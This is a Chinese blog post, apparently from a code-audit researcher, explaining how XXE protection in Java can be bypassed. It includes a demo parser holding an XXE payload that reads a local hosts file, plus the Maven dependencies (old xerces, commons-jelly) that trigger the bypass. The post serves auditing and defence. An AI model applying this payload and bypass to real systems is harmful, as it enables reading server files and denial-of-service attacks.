Java XXE 漏洞做了 doctype 防护情况下的一种绕过案例

关于漏洞

这个漏洞是我最近在一个代码审计项目中发现的,代码中处理传入的 XML 代码时使用了 XMLReaderFactory.createXMLReader(),并且在 classpath 下有 xerces 2.2.1 及以下版本时就会无视禁止 Doctype 的 Feature。

漏洞分析

XMLReaderFactory 是 JDK 的一个 XML 处理工厂类,xerces 是 Apache 的一个 XML 解析库。

首先附上一段做过了 XXE 防护的 Demo

package xml;

import org.xml.sax.*;
import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.IOException;
import java.io.StringBufferInputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2020/6/12 19:41
 */
public class XXE {

    public static void main(String[] args) throws IOException, SAXException {

        XMLReader xmlReader = null;
        try {
            xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
            xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
            xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
        } catch (SAXNotSupportedException e) {
            e.printStackTrace();
        } catch (SAXNotRecognizedException e) {
            e.printStackTrace();
        } catch (SAXException e) {
            e.printStackTrace();
        }
        MyHandler myHandler = new MyHandler();
        xmlReader.setContentHandler(myHandler);
        System.out.println(xmlReader.getClass());
        xmlReader.parse(new InputSource(new StringBufferInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [\n" +
                "        <!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">\n" +
                "        ]>\n" +
                "<evil>&xxe;</evil>")));
    }

}
class MyHandler extends DefaultHandler{
    String key,value;
    Map<String,String> map=new HashMap<String,String>();
    Set<String> must=new HashSet<String>();
    public void startDocument() throws SAXException {}
    public void startElement(String uri, String localName, String rawName, Attributes attlist)throws SAXException {
        key=localName;
    }
    public void characters(char[] ch, int start, int length) {
        System.out.println(new String(ch, start, length));
        value = new String(ch, start, length);
    }
    public void endElement(String uri, String localName, String rawName) throws SAXException {
        map.put(key,value);
    }
    public void endDocument() throws SAXException{
    }
    Map<String,String> getMap(){ return map;}

}

当使用了正常的 XMLReaderFactory 去创建一个 XMLReader 解析 XXE 代码,就会抛出不允许使用 DOCTYPE 的异常。

1591965755(1).jpg

首先跟进工厂类的 createXMLReader 观察是如何创建 XMLReader 对象的。

    public static XMLReader createXMLReader ()
        throws SAXException
    {
        String          className = null;
        ClassLoader     cl = ss.getContextClassLoader();

        // 1. try the JVM-instance-wide system property
        try {
            className = ss.getSystemProperty(property);
        }
        catch (RuntimeException e) { /* continue searching */ }

        // 2. if that fails, try META-INF/services/
        if (className == null) {
            if (!_jarread) {
                _jarread = true;
                String      service = "META-INF/services/" + property;
                InputStream in;
                BufferedReader      reader;

                try {
                    if (cl != null) {
                        in = ss.getResourceAsStream(cl, service);

                        // If no provider found then try the current ClassLoader
                        if (in == null) {
                            cl = null;
                            in = ss.getResourceAsStream(cl, service);
                        }
                    } else {
                        // No Context ClassLoader, try the current ClassLoader
                        in = ss.getResourceAsStream(cl, service);
                    }

                    if (in != null) {
                        reader = new BufferedReader (new InputStreamReader (in, "UTF8"));
                        _clsFromJar = reader.readLine ();
                        in.close ();
                    }
                } catch (Exception e) {
                }
            }
            className = _clsFromJar;
        }

        // 3. Distro-specific fallback
        if (className == null) {
// BEGIN DISTRIBUTION-SPECIFIC

            // EXAMPLE:
            // className = "com.example.sax.XmlReader";
            // or a $JAVA_HOME/jre/lib/*properties setting...
            className = "com.sun.org.apache.xerces.internal.parsers.SAXParser";

// END DISTRIBUTION-SPECIFIC
        }

        // do we know the XMLReader implementation class yet?
        if (className != null)
            return loadClass (cl, className);

        // 4. panic -- adapt any SAX1 parser
        try {
            return new ParserAdapter (ParserFactory.makeParser ());
        } catch (Exception e) {
            throw new SAXException ("Can't create default XMLReader; "
                    + "is system property org.xml.sax.driver set?");
        }
    }

大概流程如下

  • 如果系统变量里有 org.xml.sax.driver 就将其值作为类名实例化
  • 如果当前 classpath 下有 META-INF/services/org.xml.sax.driver 文件就拿文件第一行的内容作为类名实例化
  • 如果以上两种情况都不满足则默认将 JDK 的com.sun.org.apache.xerces.internal.parsers.SAXParser类实例化

大多数情况下,默认获取的对象都是第三种。

而我发现的绕过方法是基于第二步,从 classpath 下获取 META-INF/services/org.xml.sax.driver中的类名。

经过测试我发现当程序使用了 xerces 2.2.1 版本的情况下,设置禁止 doctype 时会抛出异常。

xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);

大多数情况下,在做 XXE 防护时第一个设置的就是 doctype,而当使用了 xerces 的时候设置禁止使用 doctype 会抛出异常,导致 try 代码块中的其他部分 setFeature 都无法执行,从而可以绕过 XXE 的防护,进行 XXE 攻击。即使 doctype 不是第一个设置的,也是可以进行 XXE DOS 攻击的。

漏洞复现

<!-- https://mvnrepository.com/artifact/xerces/xerces -->
<dependency>
    <groupId>xerces</groupId>
    <artifactId>xerces</artifactId>
    <version>2.2.1</version>
</dependency>
        <!-- https://mvnrepository.com/artifact/commons-jelly/commons-jelly -->
        <dependency>
            <groupId>commons-jelly</groupId>
            <artifactId>commons-jelly</artifactId>
            <version>1.0.1</version>
        </dependency>

使用 maven 导入以上两个库中的的任意一个。

一般 commons-jelly 用的比较多,还是最新版本。

1591967385(1).jpg

工厂类创建 XMLReader 时,获取的是 xerces 的类。

1591967688(1).jpg

在 XXE 防护失效后成功读取本地文件。

总结

所以以后再做代码审计时,不要看到设置了禁止使用 Doctype 时就觉得没漏洞了。

Comments : 1

  1. cook!e
    cook!e 回复

    我比较好奇是如何发现这个问题的

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。